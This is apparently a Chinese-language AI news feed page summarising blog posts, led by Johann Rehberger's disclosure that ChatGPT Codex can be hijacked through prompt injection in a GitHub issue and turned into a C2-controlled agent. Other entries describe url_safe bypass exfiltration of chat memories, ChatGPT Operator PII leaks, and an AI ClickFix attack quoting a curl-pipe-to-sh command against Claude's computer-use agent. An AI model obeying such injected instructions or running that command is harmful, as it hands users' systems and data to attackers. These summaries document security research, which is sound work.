提示词注入可把 ChatGPT Codex 变成 ZombAI 僵尸智能体
安全研究者演示 ChatGPT Codex 云端编码智能体可被 GitHub issue 中的间接提示词注入劫持，并利用 Common Dependencies 允许列表中的 azure.com 在攻击者控制的 Azure VM 上建立 C2，实现完整系统入侵。
全部AI 动态
全部动态
今日 53 条Johann Rehberger / Embrace The Red（RSS）AI 评分6868
Johann Rehberger / Embrace The Red（RSS）AI 评分7272 利用提示词注入窃取 ChatGPT 聊天记录与记忆：url_safe 绕过演示
安全研究人员 Johann Rehberger 演示了绕过 OpenAI url_safe 安全 URL 渲染功能的方法，通过不可信内容中的提示词注入，可将系统提示词中的近期聊天记录、记忆等上下文信息发送到攻击者控制的第三方服务器（如 trustnoai.blob.core.windows.net）。
Johann Rehberger / Embrace The Red（RSS）AI 评分5353 Embrace The Red 宣布 Month of AI Bugs 2025：8月连发20多篇智能体漏洞文章
安全研究员 Johann Rehberger 宣布发起 Month of AI Bugs 2025，8月将在博客发布超过20篇文章，披露 ChatGPT Codex、Claude Code、GitHub Copilot Agent Mode、Cursor、Windsurf、Devin 等主流编码智能体的安全漏洞。
AI as Normal Technology（RSS）AI 评分5959 Sayash Kapoor 撰文分析 AI 为何可能拖慢科学进步
Sayash Kapoor 在 AI as Normal Technology 系列长文中提出，尽管论文数量在 1900 至 2015 年间增长 500 倍，实际科学进步却在持平或放缓，这一生产进步悖论意味着 AI 可能进一步扩大差距。
Sam Altman：Blog（RSS）AI 评分5454 Sam Altman 发文《温和的奇点》：人类已越过事件视界
Sam Altman 发文称技术起飞已经开始，人类接近构建数字超级智能，且过程比想象中平缓。他判断 2025 年出现能完成真实认知工作的 Agent，2026 年可能产生能发现新洞见的系统，2027 年可能出现能在现实世界执行任务的机器人；科学家用 AI 后生产力提升两到三倍，ChatGPT 平均每次查询耗电约 0.34 瓦时、用水约 0.000085 加仑。
Johann Rehberger / Embrace The Red（RSS）AI 评分6060 Johann Rehberger 演示 AI ClickFix 攻击劫持 Claude Computer-Use Agent
Johann Rehberger 发布 AI ClickFix 攻击概念验证，将现实中的 ClickFix 社会工程 TTP 改造后针对 Computer-Use Agent，诱导 claude-3-7-sonnet-20250219 在终端执行 curl -s https://wuzzi.net/computer/oops.html | sh。
AI as Normal Technology（RSS）AI 评分5454 Sayash Kapoor 撰文论证 AGI 不是里程碑
Sayash Kapoor 撰文主张 AGI 不是里程碑，公司的 AGI 宣告对企业、开发者、政策制定者和安全都没有可操作意义。文章以 o3 为例指出即使系统满足某些 AGI 定义，其经济影响仍需数十年扩散才能实现，并建议区分能力与权力、政策应聚焦促进安全扩散而非追逐 AGI。
AI as Normal Technology（RSS）AI 评分7171 Arvind Narayanan 发布长文提出"AI 是普通技术"框架，将扩展成书
Arvind Narayanan 发表超过 1.5 万字的新论文《AI as Normal Technology》，提出应把 AI 视为可被人控制的普通技术，而非超人智能实体，并将扩展为下一本书，HTML 和 PDF 版本发布在 Knight First Amendment Institute 网站。
Johann Rehberger / Embrace The Red（RSS）AI 评分6666 ChatGPT Operator 提示词注入实测：劫持智能体泄露用户 PII 与 OpenAI 的三层缓解
安全研究者 Johann Rehberger 实测演示 ChatGPT Operator 可被网页中的提示词注入劫持，将 news.ycombinator.com、booking.com 等已登录站点上的私密邮箱、地址和电话输入第三方数据泄露页面。
Sam Altman：Blog（RSS）AI 评分4343 Sam Altman 提出关于 AI 经济学的三点观察
Sam Altman 提出关于 AI 经济学的三点观察：AI 模型智能约等于训练与运行资源投入的对数，可预测的 scaling laws 在多个数量级上成立；使用特定智能水平的成本约每 12 个月下降 10 倍，GPT-4 到 GPT-4o 的每 token 价格下降约 150 倍；线性增长的智能带来的社会经济价值呈超指数级。
Answer.AI 官方研发博客（RSS）精选AI 评分7979 Answer.AI 团队实测 Devin 一个月：20 个任务仅 3 个成功
Answer.AI 团队对 Devin 进行一个月真实任务实测，20 个任务中 14 个失败、3 个无结论、仅 3 个成功，且无法预测哪些任务会成功。Devin 在处理现有代码库、研究类任务中常陷入技术死胡同或幻觉出不存在的功能，团队结论是其自主性反而成为负担，更倾向使用 Cursor 等由开发者主导的 AI 辅助工作流。
推荐理由：作者团队用一个月、20 个真实任务实测 Devin，给出了成败分布和与 Cursor 类工作流的对比，可作为评估自主编码智能体的参照。
Johann Rehberger / Embrace The Red（RSS）AI 评分7070 研究者演示通过 Prompt Injection 远程控制 ChatGPT 实例构建 ZombAI 僵尸网络
Johann Rehberger 发布研究证明可通过 prompt injection 劫持 ChatGPT 实例并将其接入命令控制（C2）系统，实现长期远程控制，类似一种新型僵尸网络。
Sam Altman：Blog（RSS）AI 评分5656 Sam Altman 发文回顾 OpenAI 九年历程与 ChatGPT 两周年
Sam Altman 在 ChatGPT 两周年之际发文回顾 OpenAI 近九年历程：ChatGPT 于 2022 年 11 月 30 日发布，用户已从约 1 亿周活增长到超过 3 亿。
AI as Normal Technology（RSS）AI 评分6969 AI 进步是否在放缓：Narayanan 等人分析模型 scaling 之争与推理 scaling 的局限
Arvind Narayanan、Benedikt Ströbl 和 Sayash Kapoor 撰文分析 OpenAI、Anthropic、Google Gemini 下一代模型遇阻后业内关于模型 scaling 已死的叙事转向，认为现在断言模型 scaling 终结为时尚早，且业内高管的预测受商业利益影响，不应盲从。
AI as Normal Technology（RSS）AI 评分6161 Sayash Kapoor 分析 2024 选举 78 起 AI 深伪案例：政治误导信息不是 AI 问题
Sayash Kapoor 分析 WIRED AI Elections Project 收录的 78 起 2024 全球选举 AI 使用案例，发现其中 39 起无欺骗意图，且欺骗性内容不用 AI 也能以几百美元内成本复制。
AI as Normal Technology（RSS）AI 评分6969 Arvind Narayanan 解析英国肝移植匹配算法为何系统性不利于年轻患者
Narayanan 等人撰文分析英国 NHS 肝移植匹配算法对年轻患者的系统性偏差。算法以预测患者有/无移植后 5 年存活率之差计算 TBS 评分，5 年上限低估了年轻患者终身获益，45 岁以下患者无论病情多重都难以获得优先排序，2024 年《柳叶刀》研究确认了这一偏差，患者群体早在 2015 年就通过官方渠道提出过警告。
AI as Normal Technology（RSS）AI 评分4444 《AI Snake Oil》作者回应读者常见问题：新书已售约 8000 册
《AI Snake Oil》新书上周出版，目前已售出约 8000 册，作者就读者常见疑问作出回应。作者表示对预测式 AI 持负面看法，认为其受限于预测人类行为的社会学固有边界；对生成式 AI 则长期看好，称其几乎对所有知识工作者有用，但落地过程混乱、滥用普遍。作者还称已不再认同 AI 安全、e/acc 或 AI 伦理任何一方标签，认为阵营对立适得其反。
Sam Altman：Blog（RSS）精选AI 评分8787 Sam Altman 谈 GPT-4o 发布：免费提供最强模型并强调新语音模式体验
Sam Altman 发文点评 OpenAI 当日发布的 GPT-4o，强调两点：一是把世界最强模型免费开放给 ChatGPT 用户，无广告，未来靠其他付费项目支撑，希望让数十亿人用上优秀 AI 服务；二是新语音（和视频）模式是他用过最好的计算机界面，达到接近人类水平的响应时间和表达力，感觉像电影里的 AI。他提到未来将加入可选的个性化、访问用户信息和代为执行操作等能力。
推荐理由：作者作为当事方说明 GPT-4o 免费开放的初衷和新语音模式的使用感受，读者可了解 OpenAI 对这两点的官方表态。
Sam Altman：Blog（RSS）AI 评分3737 Sam Altman 谈创业点子生成：如何想出好想法
Sam Altman 分享创业点子生成方法，指出好创始人往往点子很多，YC 曾实验资助无点子的优秀创始人但全部失败。他建议置身于对未来有感觉、乐观且点子流动率高的人群中，远离贬低你野心的人，并关注当下正在发生的重大结构性变化。他还提出用"如果成功会不会很大"和"为什么多数人认为是坏点子"来检验想法。
Lilian Weng：Lil'Log（RSS）AI 评分4040 深度神经网络真的严重过拟合了吗？
深度神经网络参数量巨大却仍能泛化，Lilian Weng 从压缩与模型选择角度梳理了相关理论。文章讨论了奥卡姆剃刀、最小描述长度（MDL）原理与 Kolmogorov 复杂度，并补充了 Lottery Ticket Hypothesis 一节。
Sam Altman：Blog（RSS）AI 评分7575 Sam Altman 谈 OpenAI 强化学习进展：5 个智能体击败 Dota 半职业选手
OpenAI 发布新成果，用自研的通用强化学习算法 PPO 训练 5 个 Dota 智能体击败半职业选手，且对战两周前的旧智能体胜率达 90-95%。训练未使用人类对局数据，算法通过自我对弈学会玩法；Sam Altman 认为这表明深度强化学习在算力充足且模拟环境足够好时可解决极难问题，未来可迁移到更接近真实环境的问题。
Sam Altman：Blog（RSS）AI 评分3737 Sam Altman：人类与机器的融合已经开始
Sam Altman 在其博文中提出，人类与机器的融合已经开始数年，且将是一个渐进过程而非单一时刻。他认为手机、社交媒体和搜索引擎背后的算法已在塑造人类行为，而超级智能 AI、基因增强和脑机接口终将实现。他主张融合是最好结果，人类应认真对待全球协调，并称自己曾难以抵抗算法的注意力劫持。
Lilian Weng：Lil'Log（RSS）AI 评分1212 Lilian Weng 博客 FAQ：更新通知、翻译授权与旧文修订说明
Lilian Weng 在 Lil'Log 发布 FAQ，说明新文章会通过 Twitter @lilianweng 和 RSS feed 通知，并允许读者在提前邮件告知、保留原文链接的前提下翻译其文章。她还会定期更新旧文，在文首以蓝色一行注明更新内容，并欢迎读者邮件指出错误或补充遗漏论文。